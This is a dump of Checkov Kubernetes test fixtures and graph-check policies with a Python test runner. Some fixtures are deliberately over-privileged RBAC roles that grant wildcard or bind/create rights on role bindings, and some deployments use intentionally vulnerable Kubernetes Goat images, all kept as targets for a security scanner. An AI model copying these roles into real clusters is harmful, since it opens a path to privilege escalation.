    "path": "tests/kubernetes/graph/checks/resources/RequireAllPodsToHaveNetworkPolicy/template.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: internal-proxy-deployment\n  labels:\n    app: internal-proxy\nspec:\n  selector:\n    matchLabels:\n      app: internal-proxy\n  template:\n    metadata:\n      labels:\n        app: internal-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-proxy-deployment\n  labels:\n    app: external-proxy\nspec:\n  selector:\n    matchLabels:\n      app: external-proxy\n  template:\n    metadata:\n      labels:\n        app: external-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-network-policy\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: internal-proxy\n  policyTypes:\n    - Ingress\n    - Egress\n  ingress:\n    - from:\n        - ipBlock:\n            cidr: 172.17.0.0/16\n            except:\n              - 172.17.1.0/24\n        - podSelector:\n            matchLabels:\n              app: internal-proxy\n      ports:\n        - protocol: TCP\n          port: 6379\n  egress:\n    - to:\n        - ipBlock:\n            cidr: 10.0.0.0/24\n      ports:\n        - protocol: TCP\n          port: 5978\n---\nmetadata:\n  annotations: {}\n  labels:\n    policyname: default\n  name: achia-yoyo\n  namespace: ns2\npodSelector:\n  matchExpressions: []\n  matchLabels: {}\npolicyTypes: []\nspec: \nkind: NetworkPolicy\napiVersion: extensions/achia"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing1/FailingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"clusterrolebindings\"\n  verbs:\n    - \"*\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing1/FailingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing2/FailingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr2\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"*\"\n  verbs:\n    - \"bind\"\n    - \"create\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing2/FailingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr2\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing3/FailingRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: Role\nmetadata:\n  name: failing-role3\n  namespace: kube-system\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"rolebindings\"\n  verbs:\n    - \"bind\"\n    - \"create\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Failing3/FailingRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: RoleBinding\nmetadata:\n  name: failing-rb3\n  namespace: kube-system\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa3\n  namespace: test\nroleRef:\n  kind: Role\n  name: failing-role3\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing1/PassingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr1\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"pods\"\n  verbs:\n    - \"*\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing1/PassingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: not-that-privileged\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: passing-cr1\n  apiGroup: rbac.authorization.k8s.io"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing2/PassingClusterRole.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: passing-cr2\nrules:\n- apiGroups:\n    - \"rbac.authorization.k8s.io\"\n  resources:\n    - \"*\"\n  verbs:\n    - \"bind\"\n    - \"create\""
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing2/PassingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb2\nsubjects:\n- kind: User  # This should pass as the check only filters on `ServiceAccount/Node`\n  name: over-privileged-user\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: passing-cr2\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/Passing3/PassingClusterRoleBinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: passing-crb3\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa1\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: not-existing-role  # Should pass, as no such ClusterRole exists\n  apiGroup: rbac.authorization.k8s.io\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/resources/RoleBindingPE/expected.yaml",
    "content": "pass:\n  - \"ClusterRoleBinding.default.passing-crb1\"\n  - \"ClusterRoleBinding.default.passing-crb2\"\n  - \"ClusterRoleBinding.default.passing-crb3\"\nfail:\n  - \"ClusterRoleBinding.default.failing-crb1\"\n  - \"ClusterRoleBinding.default.failing-crb2\"\n  - \"RoleBinding.kube-system.failing-rb3\"\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/AllowPrivilegeEscalation.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_20\"\n  name: \"Containers should not run with allowPrivilegeEscalation (for template entities)\"\n  category: \"KUBERNETES\"\ndefinition:\n  cond_type: attribute\n  attribute: spec.containers.*.securityContext.allowPrivilegeEscalation\n  value: false\n  operator: equals\n  resource_types:\n    - Pod\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/AllowedCapabilities.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_25\"\n  name: \"Minimize the admission of containers with added capability (for template entities)\"\n  category: \"KUBERNETES\"\ndefinition:\n  cond_type: attribute\n  attribute: spec.containers.*.securityContext.capabilities.add\n  operator: not_exists\n  resource_types:\n    - Pod\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/DefaultNamespace.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_21\"\n  name: \"The default namespace should not be used\"\n  category: \"KUBERNETES\"\ndefinition:\n  or:\n    - and:\n      - cond_type: attribute\n        attribute: spec.metadata.namespace\n        operator: exists\n        resource_types:\n          - Pod\n          - Deployment\n          - DaemonSet\n          - StatefulSet\n          - ReplicaSet\n          - ReplicationController\n          - Job\n          - CronJob\n          - Service\n          - Secret\n          - ServiceAccount\n          - Role\n          - RoleBinding\n          - ConfigMap\n          - Ingress\n      - cond_type: attribute\n        attribute: spec.metadata.namespace\n        operator: not_equals\n        value: 'default'\n        resource_types:\n          - Pod\n          - Deployment\n          - DaemonSet\n          - StatefulSet\n          - ReplicaSet\n          - ReplicationController\n          - Job\n          - CronJob\n          - Service\n          - Secret\n          - ServiceAccount\n          - Role\n          - RoleBinding\n          - ConfigMap\n          - Ingress\n    - cond_type: attribute\n      attribute: spec.metadata.name\n      operator: equals\n      value: \"default\"\n      resource_types:\n        - ServiceAccount\n    - cond_type: attribute\n      attribute: spec.metadata.name\n      operator: equals\n      value: \"kubernetes\"\n      resource_types:\n        - Service\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/IsNotEmpty.yaml",
    "content": "metadata:\n  name: \"Missing or empty containers in K8S Deployment\"\n  id: \"NOT_EMPTY_01\"\n  category: \"KUBERNETES\"\nscope:\n  provider: kubernetes\n  definition:\n    cond_type: \"attribute\"\n    resource_types:\n      - \"Deployment\"\n    attribute: \"spec.selector.matchLabels\"\n    operator: \"is_not_empty\""
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/NoDefaultNamespace.yaml",
    "content": "metadata:\n  id: \"CKV_K8S_160\"\n  name: \"Ensure resources in k8s not in default namespace\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Deployment\"\n        - \"StatefulSet\"\n        - \"DaemonSet\"\n        - \"Job\"\n        - \"CronJob\"\n        - \"Pod\"\n        - \"Service\"\n        - \"ConfigMap\"\n        - \"Secret\"\n      attribute: \"metadata.namespace\"\n      operator: \"exists\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Deployment\"\n        - \"StatefulSet\"\n        - \"DaemonSet\"\n        - \"Job\"\n        - \"CronJob\"\n        - \"Pod\"\n        - \"Service\"\n        - \"ConfigMap\"\n        - \"Secret\"\n      attribute: \"metadata.namespace\"\n      operator: \"not_equals\"\n      value: \"default\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Deployment\"\n        - \"StatefulSet\"\n        - \"DaemonSet\"\n        - \"Job\"\n        - \"CronJob\"\n        - \"Pod\"\n        - \"Service\"\n        - \"ConfigMap\"\n        - \"Secret\"\n      attribute: \"metadata.namespace\"\n      operator: \"not_equals\"\n      value: \"kube-system\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"Deployment\"\n        - \"StatefulSet\"\n        - \"DaemonSet\"\n        - \"Job\"\n        - \"CronJob\"\n        - \"Pod\"\n        - \"Service\"\n        - \"ConfigMap\"\n        - \"Secret\"\n      attribute: \"metadata.namespace\"\n      operator: \"not_regex_match\"\n      value: \"^kube-.*\""
  },
  {
    "path": "tests/kubernetes/graph/checks/test_checks/PodIsPubliclyAccessibleExample.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_EXAMPLE_1\"\n  name: \"Pod is publicly accessible\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - Pod\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - Pod\n          connected_resource_types:\n            - Service\n        - and:\n          - cond_type: connection\n            operator: exists\n            resource_types:\n              - Pod\n            connected_resource_types:\n              - Service\n          - cond_type: attribute\n            attribute: 'spec.type'\n            operator: not_within\n            value:\n              - 'LoadBalancer'\n              - 'NodePort'\n            resource_types:\n              - Service\n"
  },
  {
    "path": "tests/kubernetes/graph/checks/test_yaml_policies.py",
    "content": "import copy\nimport os\nimport os.path\n\nfrom parameterized import parameterized_class\n\nfrom tests.graph_utils.utils import set_db_connector_by_graph_framework, PARAMETERIZED_GRAPH_FRAMEWORKS\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.kubernetes.graph_manager import KubernetesGraphManager\nfrom tests.common.graph.checks.test_yaml_policies_base import TestYamlPoliciesBase\n\n\n@parameterized_class(PARAMETERIZED_GRAPH_FRAMEWORKS)\nclass TestYamlPolicies(TestYamlPoliciesBase):\n    def tearDown(self) -> None:\n        self.get_checks_registry().checks = []\n\n    def __init__(self, args):\n        db_connector = set_db_connector_by_graph_framework(self.graph_framework)\n        graph_manager = KubernetesGraphManager(db_connector=db_connector)\n        real_graph_checks_relative_path = \"checkov/kubernetes/checks/graph_checks\"\n        real_graph_checks_path = os.path.join(os.path.dirname(__file__), '..', '..', '..', '..',\n                                              real_graph_checks_relative_path)\n        super().__init__(graph_manager, real_graph_checks_path,\n                         os.path.dirname(__file__) + \"/test_checks\", 'kubernetes', __file__, args)\n\n    def test_AllowedCapabilities(self):\n        self.go('AllowedCapabilities')\n\n    def test_AllowPrivilegeEscalation(self):\n        self.go('AllowPrivilegeEscalation')\n\n    def test_RoleBindingPE(self) -> None:\n        self.go('RoleBindingPE')\n\n    def test_NoCreateNodesProxyOrPodsExec(self) -> None:\n        self.go('NoCreateNodesProxyOrPodsExec')\n    \n    def test_ImpersonatePermissions(self) -> None:\n        self.go(\"ImpersonatePermissions\")\n\n    def test_ModifyServicesStatus(self) -> None:\n        self.go('ModifyServicesStatus')\n\n    def test_ReadAllSecrets(self) -> None:\n        self.go('ReadAllSecrets')\n\n    def test_PodIsPubliclyAccessibleExample(self) -> None:\n        self.go('PodIsPubliclyAccessibleExample')\n\n    def test_RequireAllPodsToHaveNetworkPolicy(self) -> None:\n        self.go('RequireAllPodsToHaveNetworkPolicy')\n\n    def test_NoDefaultNamespace(self):\n        self.go('NoDefaultNamespace')\n\n    def create_report_from_graph_checks_results(self, checks_results, check):\n        report = Report(\"kubernetes\")\n        first_results_key = list(checks_results.keys())[0]\n        for check_result in checks_results[first_results_key]:\n            entity = check_result[\"entity\"]\n            record = Record(check_id=check['id'],\n                            check_name=check['name'],\n                            check_result=copy.deepcopy(check_result),\n                            code_block=\"\",\n                            file_path=entity.get(CustomAttributes.FILE_PATH),\n                            file_line_range=[entity.get('__startline__'), entity.get('__endline__')],\n                            resource=entity.get(CustomAttributes.BLOCK_NAME),\n                            evaluations={},\n                            check_class=check.__class__.__module__,\n                            file_abs_path=entity.get(CustomAttributes.FILE_PATH))\n            if check_result[\"result\"] == CheckResult.PASSED:\n                report.passed_checks.append(record)\n            if check_result[\"result\"] == CheckResult.FAILED:\n                report.failed_checks.append(record)\n        return report\n\n    def assert_evaluated_keys(self, checks_results, check):\n        pass\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/Keyword/clusterrolebinding.yaml",
    "content": "apiVersion: rbac.authorization.k8s.io/v1\n# This cluster role binding allows anyone in the \"manager\" group to read secrets in any namespace.\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb1\nsubjects:\n- kind: ServiceAccount\n  name: service-account-name\n  namespace: default\n- kind: ServiceAccount\n  name: service-account-name2\n  namespace: default\nroleRef:\n  kind: ClusterRole\n  name: failing-cr1\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      serviceAccount: service-account-name\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr1\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"clusterrolebindings\"]\n  verbs: [\"*\"]\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: service-account-name\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: service-account-name2"
  },
  {
    "path": "tests/kubernetes/graph/resources/Keyword/network-policy-attached.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: myapp-pod\n  namespace: default\n  labels:\n    app: myapp-pod\nspec:\n  containers:\n  - name: nginx\n    image: nginx:1.7.9\n    ports:\n    - containerPort: 80\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: myapp-pod2\n  namespace: default\n  labels:\n    app: myapp-pod2\nspec:\n  containers:\n  - name: myapp-container\n    image: byrnedo/alpine-curl\n    command: [\"/bin/sh\"]\n    args: [\"-c\", \"sleep 36000\"]\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: myapp-pod\n  namespace: default\n  labels:\n    app: myapp-pod\nspec:\n  ports:\n  - port: 80\n    protocol: TCP\n  selector:\n    app: myapp-pod\n---\nkind: NetworkPolicy\napiVersion: networking.k8s.io/v1\nmetadata:\n  name: myapp-pod-to-myapp-pod2\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: myapp-pod\n  ingress:\n  - from:\n    - ipBlock:\n        cidr: 1.1.1.1/32\n    - ipBlock:\n        cidr: 2.2.2.2/32\n    - podSelector:\n        matchLabels:\n          app: myapp-pod2\n    ports:\n    - port: 80\n      protocol: UDP\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: default-deny-ingress\nspec:\n  podSelector: {}\n  policyTypes:\n  - Ingress\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/Keyword/pod_service_account.yaml",
    "content": "apiVersion: v1\nkind: Pod\nmetadata:\n  name: webserver\n  namespace: prod\nspec:\n  serviceAccountName: over-privileged-sa2\n  containers:\n  - name: webserver\n    image: nginx:latest\n    ports:\n    - containerPort: 80\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: failing-crb2\nsubjects:\n- kind: ServiceAccount\n  name: over-privileged-sa2\n  namespace: prod\nroleRef:\n  kind: ClusterRole\n  name: failing-cr2\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: failing-cr2\nrules:\n- apiGroups: [\"rbac.authorization.k8s.io\"]\n  resources: [\"*\"]\n  verbs: [\"bind\", \"create\"]\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: over-privileged-sa2"
  },
  {
    "path": "tests/kubernetes/graph/resources/LabelSelector/label_selector_match.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/LabelSelector/label_selector_multiple_resources.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: old_nginx\nspec:\n  containers:\n  - name: nginx\n    image: nginx:1.13.0\n    ports:\n    - containerPort: 88"
  },
  {
    "path": "tests/kubernetes/graph/resources/LabelSelector/label_selector_non_match.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: apache\n    spec:\n      containers:\n      - name: nginx\n        image: nginx:1.14.2\n        ports:\n        - containerPort: 80"
  },
  {
    "path": "tests/kubernetes/graph/resources/custom_resource.yaml",
    "content": "apiVersion: argoproj.io/v1alpha1\nkind: Rollout\nmetadata:\n  name: rollout-pairs-admin\n  annotations:\n    notifications.argoproj.io/subscribe.on-rollout-completed.slack: pairs-deploy-prod\n    notifications.argoproj.io/subscribe.on-rollout-aborted.slack: pairs-deploy-prod\nspec:\n  strategy:\n    blueGreen:\n      # Name of the service that the rollout modifies as the active service.\n      activeService: service-pairs-admin-stable\n      # Name of the service that the rollout modifies as the preview service. +optional\n      # previewService: service-pairs-admin-stable\n\n      # The number of replicas to run under the preview service before the switchover. Once the rollout is resumed the new replicaset will be full scaled up before the switch occurs +optional\n      previewReplicaCount: 1\n      # Indicates if the rollout should automatically promote the new ReplicaSet to the active service or enter a paused state. If not specified, the default value is true. +optional\n      autoPromotionEnabled: true\n      # Adds a delay before scaling down the previous replicaset. If omitted, the Rollout waits 30 seconds before scaling down the previous ReplicaSet. A minimum of 30 seconds is recommended to ensure IP table propagation across the nodes in a cluster. See https://github.com/argoproj/argo-rollouts/issues/19#issuecomment-476329960 for more information\n      scaleDownDelaySeconds: 120\n  progressDeadlineSeconds: 600\n  progressDeadlineAbort: true\n  selector:\n    matchLabels:\n      app: prod-pairs-tw-admin\n  template:\n    metadata:\n      labels:\n        name: prod-pairs-tw-admin\n        app: prod-pairs-tw-admin\n    spec:\n      # https://aws.github.io/aws-eks-best-practices/reliability/docs/application/#schedule-replicas-across-nodes\n      affinity:\n        podAntiAffinity:\n          preferredDuringSchedulingIgnoredDuringExecution:\n            - podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: name\n                      operator: In\n                      values:\n                        - prod-pairs-tw-admin\n                topologyKey: topology.kubernetes.io/zone\n              weight: 100\n            - podAffinityTerm:\n                labelSelector:\n                  matchExpressions:\n                    - key: name\n                      operator: In\n                      values:\n                        - prod-pairs-tw-admin\n                topologyKey: kubernetes.io/hostname\n              weight: 99\n        nodeAffinity:\n          requiredDuringSchedulingIgnoredDuringExecution:\n            nodeSelectorTerms:\n              - matchExpressions:\n                  - key: eks.amazonaws.com/nodegroup\n                    operator: In\n                    values:\n                      - prod-ceres-v124-ondemand-nodes-20221212\n                      - prod-ceres-v124-spot-nodes-20221212\n      terminationGracePeriodSeconds: 50\n      containers:\n        - name: app-container\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/pairs-fs/prod-tw-admin:34dfbb8b0c01b8db904b945a3790a371244839ef\n          ports:\n            - name: app\n              containerPort: 80\n          resources:\n            requests:\n              cpu: \"800m\"\n              memory: \"1000M\"\n            limits:\n              cpu: \"800m\"\n              memory: \"1000M\"\n          readinessProbe:\n            httpGet:\n              path: /health_check\n              port: 80\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            httpGet:\n              path: /health_check\n              port: 80\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          volumeMounts:\n            - name: log\n              mountPath: /log/\n          envFrom:\n            - configMapRef:\n                name: pairs-tw-admin-envs\n            - secretRef:\n                name: pairs-tw-admin-secrets\n        - name: td-agent\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/td-agent:20221121073136master\n          imagePullPolicy: IfNotPresent\n          ports:\n            - name: td-agent\n              containerPort: 20224\n          resources:\n            requests:\n              cpu: \"200m\"\n              memory: \"700M\"\n            limits:\n              cpu: \"200m\"\n              memory: \"700M\"\n          readinessProbe:\n            tcpSocket:\n              port: 20224\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            tcpSocket:\n              port: 20224\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          volumeMounts:\n            - name: log\n              mountPath: /log/\n              readOnly: true\n          env:\n            - name: ENV_TD_AGENT_MODE\n              value: pairs\n            - name: ENV_TD_CUSTOMS\n              value: pairs_access\n            - name: RUN_ENV\n              value: prod\n            - name: RUN_REGION\n              value: tw\n            - name: RUN_SERVICE\n              value: admin\n            - name: METIS_PROJECT_ID\n              value: eure-metis\n          envFrom:\n            - secretRef:\n                name: pairs-admin-tdagent-secrets\n        - name: datadog-agent\n          image: 953576779582.dkr.ecr.ap-northeast-1.amazonaws.com/datadog-agent:20220530102433master\n          imagePullPolicy: IfNotPresent\n          ports:\n            - name: datadog\n              containerPort: 8126\n          resources:\n            requests:\n              cpu: \"75m\"\n              memory: \"300M\"\n            limits:\n              cpu: \"75m\"\n              memory: \"300M\"\n          readinessProbe:\n            tcpSocket:\n              port: 8126\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          livenessProbe:\n            tcpSocket:\n              port: 8126\n            initialDelaySeconds: 5\n            periodSeconds: 3\n            failureThreshold: 30\n          lifecycle:\n            preStop:\n              exec:\n                command: [\"sh\", \"-c\", \"sleep 30\"]\n          env:\n            - name: DD_DOCKER_LABELS_AS_TAGS\n              value: '{\\\"role\\\":\\\"role\\\"}'\n            - name: DD_HOSTNAME\n              value: pairsadmin-eks-prod-tw\n            - name: DD_TAGS\n              value: 'region:tw service:pairs-admin role:admin env:prod'\n            - name: ENV_DD_REGION\n              value: tw\n            - name: ENV_DD_SERVICE\n              value: pairs-admin\n            - name: ENV_DD_ENV\n              value: prod\n            - name: ENV_DD_ROLE\n              value: admin\n            - name: ENV_DD_ENABLED_OPTS\n              value: 'nginx'\n            - name: KUBERNETES\n              value: 'yes'\n            - name: DD_LOGS_ENABLED\n              value: 'true'\n            - name: DD_APM_ENABLED\n              value: 'true'\n            - name: DD_APM_ENV\n              value: prod\n          envFrom:\n            - secretRef:\n                name: pairs-admin-datadog-secrets"
  },
  {
    "path": "tests/kubernetes/graph/resources/definitions/.hidden/graph_check.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: internal-proxy-deployment\n  labels:\n    app: internal-proxy\nspec:\n  selector:\n    matchLabels:\n      app: internal-proxy\n  template:\n    metadata:\n      labels:\n        app: internal-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-proxy-deployment\n  labels:\n    app: external-proxy\nspec:\n  selector:\n    matchLabels:\n      app: external-proxy\n  template:\n    metadata:\n      labels:\n        app: external-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-network-policy\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: internal-proxy\n  policyTypes:\n    - Ingress\n    - Egress\n  ingress:\n    - from:\n        - ipBlock:\n            cidr: 172.17.0.0/16\n            except:\n              - 172.17.1.0/24\n        - podSelector:\n            matchLabels:\n              app: internal-proxy\n      ports:\n        - protocol: TCP\n          port: 6379\n  egress:\n    - to:\n        - ipBlock:\n            cidr: 10.0.0.0/24\n      ports:\n        - protocol: TCP\n          port: 5978\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: skipdeployment\n  annotations:\n    \"checkov.io/skip\": \"CKV2_K8S_6=skip it\"\n  labels:\n    app: skip\nspec:\n  selector:\n    matchLabels:\n      app: skip\n  template:\n    metadata:\n      labels:\n        app: skip\n    spec:\n      containers:\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n"
  },
  {
    "path": "tests/kubernetes/graph/resources/definitions/custom_resource.yaml",
